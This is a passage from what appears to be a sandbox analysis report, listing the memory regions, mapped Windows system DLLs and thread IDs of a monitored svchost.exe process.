"" Region: id = 1797 start_va = 0x3b00000 end_va = 0x3bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003b00000" filename = "" Region: id = 1798 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1799 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 1800 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 1801 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 1802 start_va = 0x7ff6bac60000 end_va = 0x7ff6bac6cfff monitored = 0 entry_point = 0x7ff6bac63980 region_type = mapped_file name = "svchost.exe" filename = "\\Windows\\System32\\svchost.exe" (normalized: "c:\\windows\\system32\\svchost.exe") Region: id = 1803 start_va = 0x7ffb0e260000 end_va = 0x7ffb0e292fff monitored = 0 entry_point = 0x7ffb0e26ae20 region_type = mapped_file name = "wscsvc.dll" filename = "\\Windows\\System32\\wscsvc.dll" (normalized: "c:\\windows\\system32\\wscsvc.dll") Region: id = 1804 start_va = 0x7ffb0eea0000 end_va = 0x7ffb0f057fff monitored = 0 entry_point = 0x7ffb0eea5550 region_type = mapped_file name = "wmalfxgfxdsp.dll" filename = "\\Windows\\System32\\WMALFXGFXDSP.dll" (normalized: "c:\\windows\\system32\\wmalfxgfxdsp.dll") Region: id = 1805 start_va = 0x7ffb0ff00000 end_va = 0x7ffb0ff87fff monitored = 0 entry_point = 0x7ffb0ff14510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 1806 start_va = 0x7ffb110e0000 end_va = 0x7ffb110f3fff monitored = 0 entry_point = 0x7ffb110e1800 region_type = mapped_file name = "wbemsvc.dll" filename = "\\Windows\\System32\\wbem\\wbemsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemsvc.dll") Region: id = 1807 start_va = 0x7ffb11100000 end_va = 0x7ffb111f5fff monitored = 0 entry_point = 0x7ffb11139590 region_type = mapped_file name = "fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 1808 start_va = 0x7ffb11680000 end_va = 0x7ffb11690fff monitored = 0 entry_point = 0x7ffb11682fc0 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 1809 start_va = 0x7ffb12f30000 end_va = 0x7ffb12faefff monitored = 0 entry_point = 0x7ffb12f47110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 1810 start_va = 0x7ffb1c720000 end_va = 0x7ffb1c74afff monitored = 0 entry_point = 0x7ffb1c72c3c0 region_type = mapped_file name = "rtworkq.dll" filename = "\\Windows\\System32\\RTWorkQ.dll" (normalized: "c:\\windows\\system32\\rtworkq.dll") Region: id = 1811 start_va = 0x7ffb1c750000 end_va = 0x7ffb1c85cfff monitored = 0 entry_point = 0x7ffb1c77f420 region_type = mapped_file name = "mfplat.dll" filename = "\\Windows\\System32\\mfplat.dll" (normalized: "c:\\windows\\system32\\mfplat.dll") Region: id = 1812 start_va = 0x7ffb1da60000 end_va = 0x7ffb1da6dfff monitored = 0 entry_point = 0x7ffb1da62e50 region_type = mapped_file name = "cmintegrator.dll" filename = "\\Windows\\System32\\cmintegrator.dll" (normalized: "c:\\windows\\system32\\cmintegrator.dll") Region: id = 1813 start_va = 0x7ffb1db80000 end_va = 0x7ffb1dbb7fff monitored = 0 entry_point = 0x7ffb1db868f0 region_type = mapped_file name = "wcmcsp.dll" filename = "\\Windows\\System32\\wcmcsp.dll" (normalized: "c:\\windows\\system32\\wcmcsp.dll") Region: id = 1814 start_va = 0x7ffb1dbc0000 end_va = 0x7ffb1dc58fff monitored = 0 entry_point = 0x7ffb1dbda090 region_type = mapped_file name = "wcmsvc.dll" filename = "\\Windows\\System32\\wcmsvc.dll" (normalized: "c:\\windows\\system32\\wcmsvc.dll") Region: id = 1815 start_va = 0x7ffb1dd20000 end_va = 0x7ffb1dd39fff monitored = 0 entry_point = 0x7ffb1dd22430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 1816 start_va = 0x7ffb1dd40000 end_va = 0x7ffb1dd55fff monitored = 0 entry_point = 0x7ffb1dd419f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 1817 start_va = 0x7ffb1dd60000 end_va = 0x7ffb1dd97fff monitored = 0 entry_point = 0x7ffb1dd78cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 1818 start_va = 0x7ffb1dda0000 end_va = 0x7ffb1ddaafff monitored = 0 entry_point = 0x7ffb1dda1d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 1819 start_va = 0x7ffb1dea0000 end_va = 0x7ffb1dee7fff monitored = 0 entry_point = 0x7ffb1deaa1e0 region_type = mapped_file name = "dhcpcore6.dll" filename = "\\Windows\\System32\\dhcpcore6.dll" (normalized: "c:\\windows\\system32\\dhcpcore6.dll") Region: id = 1820 start_va = 0x7ffb1def0000 end_va = 0x7ffb1df4cfff monitored = 0 entry_point = 0x7ffb1df02bf0 region_type = mapped_file name = "dhcpcore.dll" filename = "\\Windows\\System32\\dhcpcore.dll" (normalized: "c:\\windows\\system32\\dhcpcore.dll") Region: id = 1821 start_va = 0x7ffb1e710000 end_va = 0x7ffb1e81afff monitored = 0 entry_point = 0x7ffb1e752610 region_type = mapped_file name = "audiosrv.dll" filename = "\\Windows\\System32\\audiosrv.dll" (normalized: "c:\\windows\\system32\\audiosrv.dll") Region: id = 1822 start_va = 0x7ffb1e890000 end_va = 0x7ffb1e8a0fff monitored = 0 entry_point = 0x7ffb1e893320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 1823 start_va = 0x7ffb1f6a0000 end_va = 0x7ffb1f7d5fff monitored = 0 entry_point = 0x7ffb1f6cf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 1824 start_va = 0x7ffb20ec0000 end_va = 0x7ffb20f2ffff monitored = 0 entry_point = 0x7ffb20ee2960 region_type = mapped_file name = "mmdevapi.dll" filename = "\\Windows\\System32\\MMDevAPI.dll" (normalized: "c:\\windows\\system32\\mmdevapi.dll") Region: id = 1825 start_va = 0x7ffb21040000 end_va = 0x7ffb21107fff monitored = 0 entry_point = 0x7ffb210813f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 1826 start_va = 0x7ffb21440000 end_va = 0x7ffb21457fff monitored = 0 entry_point = 0x7ffb21445910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 1827 start_va = 0x7ffb215b0000 end_va = 0x7ffb215f9fff monitored = 0 entry_point = 0x7ffb215bac30 region_type = mapped_file name = "deviceaccess.dll" filename = "\\Windows\\System32\\deviceaccess.dll" (normalized: "c:\\windows\\system32\\deviceaccess.dll") Region: id = 1828 start_va = 0x7ffb21960000 end_va = 0x7ffb21b10fff monitored = 0 entry_point = 0x7ffb219b3690 region_type = mapped_file name = "wevtsvc.dll" filename = "\\Windows\\System32\\wevtsvc.dll" (normalized: "c:\\windows\\system32\\wevtsvc.dll") Region: id = 1829 start_va = 0x7ffb22410000 end_va = 0x7ffb22418fff monitored = 0 entry_point = 0x7ffb224119a0 region_type = mapped_file name = "nrpsrv.dll" filename = "\\Windows\\System32\\nrpsrv.dll" (normalized: "c:\\windows\\system32\\nrpsrv.dll") Region: id = 1830 start_va = 0x7ffb22420000 end_va = 0x7ffb2242afff monitored = 0 entry_point = 0x7ffb22421cd0 region_type = mapped_file name = "lmhsvc.dll" filename = "\\Windows\\System32\\lmhsvc.dll" (normalized: "c:\\windows\\system32\\lmhsvc.dll") Region: id = 1831 start_va = 0x7ffb23670000 end_va = 0x7ffb237f5fff monitored = 0 entry_point = 0x7ffb236bd700 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 1832 start_va = 0x7ffb23860000 end_va = 0x7ffb23872fff monitored = 0 entry_point = 0x7ffb23862760 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 1833 start_va = 0x7ffb23b60000 end_va = 0x7ffb23b86fff monitored = 0 entry_point = 0x7ffb23b67940 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 1834 start_va = 0x7ffb23b90000 end_va = 0x7ffb23c39fff monitored = 0 entry_point = 0x7ffb23bb7910 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 1835 start_va = 0x7ffb23ea0000 end_va = 0x7ffb23ed1fff monitored = 0 entry_point = 0x7ffb23eb2340 region_type = mapped_file name = "fwbase.dll" filename = "\\Windows\\System32\\fwbase.dll" (normalized: "c:\\windows\\system32\\fwbase.dll") Region: id = 1836 start_va = 0x7ffb24120000 end_va = 0x7ffb24143fff monitored = 0 entry_point = 0x7ffb24123260 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 1837 start_va = 0x7ffb242c0000 end_va = 0x7ffb243b3fff monitored = 0 entry_point = 0x7ffb242ca960 region_type = mapped_file name = "ucrtbase.dll" filename = "\\Windows\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll") Region: id = 1838 start_va = 0x7ffb24530000 end_va = 0x7ffb2453bfff monitored = 0 entry_point = 0x7ffb245327e0 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 1839 start_va = 0x7ffb24610000 end_va = 0x7ffb24640fff monitored = 0 entry_point = 0x7ffb24617d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 1840 start_va = 0x7ffb24880000 end_va = 0x7ffb2489efff monitored = 0 entry_point = 0x7ffb24885d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1841 start_va = 0x7ffb249f0000 end_va = 0x7ffb24a4bfff monitored = 0 entry_point = 0x7ffb24a06f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 1842 start_va = 0x7ffb24bc0000 end_va = 0x7ffb24bcafff monitored = 0 entry_point = 0x7ffb24bc19a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1843 start_va = 0x7ffb24da0000 end_va = 0x7ffb24dccfff monitored = 0 entry_point = 0x7ffb24db9d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 1844 start_va = 0x7ffb24f30000 end_va = 0x7ffb24f85fff monitored = 0 entry_point = 0x7ffb24f40bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 1845 start_va = 0x7ffb24fb0000 end_va = 0x7ffb24fd8fff monitored = 0 entry_point = 0x7ffb24fc4530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 1846 start_va = 0x7ffb25120000 end_va = 0x7ffb2512efff monitored = 0 entry_point = 0x7ffb25123210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 1847 start_va = 0x7ffb25130000 end_va = 0x7ffb2517afff monitored = 0 entry_point = 0x7ffb251335f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 1848 start_va = 0x7ffb25180000 end_va = 0x7ffb25193fff monitored = 0 entry_point = 0x7ffb251852e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1849 start_va = 0x7ffb251a0000 end_va = 0x7ffb251affff monitored = 0 entry_point = 0x7ffb251a56e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 1850 start_va = 0x7ffb251b0000 end_va = 0x7ffb25397fff monitored = 0 entry_point = 0x7ffb251dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1851 start_va = 0x7ffb253c0000 end_va = 0x7ffb25586fff monitored = 0 entry_point = 0x7ffb2541db80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 1852 start_va = 0x7ffb25640000 end_va = 0x7ffb256a9fff monitored = 0 entry_point = 0x7ffb25676d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 1853 start_va = 0x7ffb25770000 end_va = 0x7ffb257f5fff monitored = 0 entry_point = 0x7ffb2577d8f0 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 1854 start_va = 0x7ffb25800000 end_va = 0x7ffb25842fff monitored = 0 entry_point = 0x7ffb25814b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 1855 start_va = 0x7ffb25f00000 end_va = 0x7ffb26085fff monitored = 0 entry_point = 0x7ffb25f4ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1856 start_va = 0x7ffb26090000 end_va = 0x7ffb261e5fff monitored = 0 entry_point = 0x7ffb2609a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 1857 start_va = 0x7ffb26230000 end_va = 0x7ffb262dcfff monitored = 0 entry_point = 0x7ffb262481a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 1858 start_va = 0x7ffb264f0000 end_va = 0x7ffb2658cfff monitored = 0 entry_point = 0x7ffb264f78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1859 start_va = 0x7ffb26590000 end_va = 0x7ffb266abfff monitored = 0 entry_point = 0x7ffb265d02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1860 start_va = 0x7ffb266b0000 end_va = 0x7ffb26756fff monitored = 0 entry_point = 0x7ffb266bb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 1861 start_va = 0x7ffb27d40000 end_va = 0x7ffb27d9afff monitored = 0 entry_point = 0x7ffb27d538b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1862 start_va = 0x7ffb27e00000 end_va = 0x7ffb2807cfff monitored = 0 entry_point = 0x7ffb27ed4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 1863 start_va = 0x7ffb281e0000 end_va = 0x7ffb28322fff monitored = 0 entry_point = 0x7ffb28208210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1864 start_va = 0x7ffb28450000 end_va = 0x7ffb284bafff monitored = 0 entry_point = 0x7ffb284690c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 1865 start_va = 0x7ffb288f0000 end_va = 0x7ffb289b0fff monitored = 0 entry_point = 0x7ffb28910da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1866 start_va = 0x7ffb28a40000 end_va = 0x7ffb28a47fff monitored = 0 entry_point = 0x7ffb28a41ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 1867 start_va = 0x7ffb28a50000 end_va = 0x7ffb28af6fff monitored = 0 entry_point = 0x7ffb28a658d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1868 start_va = 0x7ffb28b00000 end_va = 0x7ffb28cc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1951 start_va = 0x3c00000 end_va = 0x3e5cfff monitored = 0 entry_point = 0x3c88610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") Region: id = 1952 start_va = 0x1500000 end_va = 0x1594fff monitored = 0 entry_point = 0x15336c0 region_type = mapped_file name = "bisrv.dll" filename = "\\Windows\\System32\\bisrv.dll" (normalized: "c:\\windows\\system32\\bisrv.dll") Region: id = 2036 start_va = 0x2d00000 end_va = 0x2dd9fff monitored = 0 entry_point = 0x2d33c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 2037 start_va = 0x3c00000 end_va = 0x3dfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 2038 start_va = 0x3c00000 end_va = 0x3cfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000003c00000" filename = "" Region: id = 2039 start_va = 0x5d0000 end_va = 0x5f4fff monitored = 0 entry_point = 0x5db320 region_type = mapped_file name = "loadperf.dll" filename = "\\Windows\\System32\\loadperf.dll" (normalized: "c:\\windows\\system32\\loadperf.dll") Thread: id = 126 os_tid = 0xebc Thread: id = 127 os_tid = 0x33c Thread: id = 128 os_tid = 0xcb0 Thread: id = 129 os_tid = 0x910 Thread: id = 130 os_tid = 0x410 Thread: id = 131 os_tid = 0xec0 Thread: id = 132 os_tid = 0x120c Thread: id = 133 os_tid = 0xff8 Thread: id = 134 os_tid = 0xff0 Thread: id = 135 os_tid = 0xe44 Thread: id = 136 os_tid = 0xd8c Thread: id = 137 os_tid = 0x8fc Thread: id = 138 os_tid = 0x4a0 Thread: id = 139 os_tid = 0x490 Thread: id = 140 os_tid = 0x45c Thread: id = 141 os_tid = 0x438 Thread: id = 142 os_tid = 0x428 Thread: id = 143 os_tid = 0x420 Thread: id = 144 os_tid = 0x268 Thread: id = 145 os_tid = 0x194 Thread: id = 146 os_tid = 0x190 Thread: id = 147 os_tid = 0x18c Thread: id = 148 os_tid = 0x3f4 Thread: id = 149 os_tid = 0x380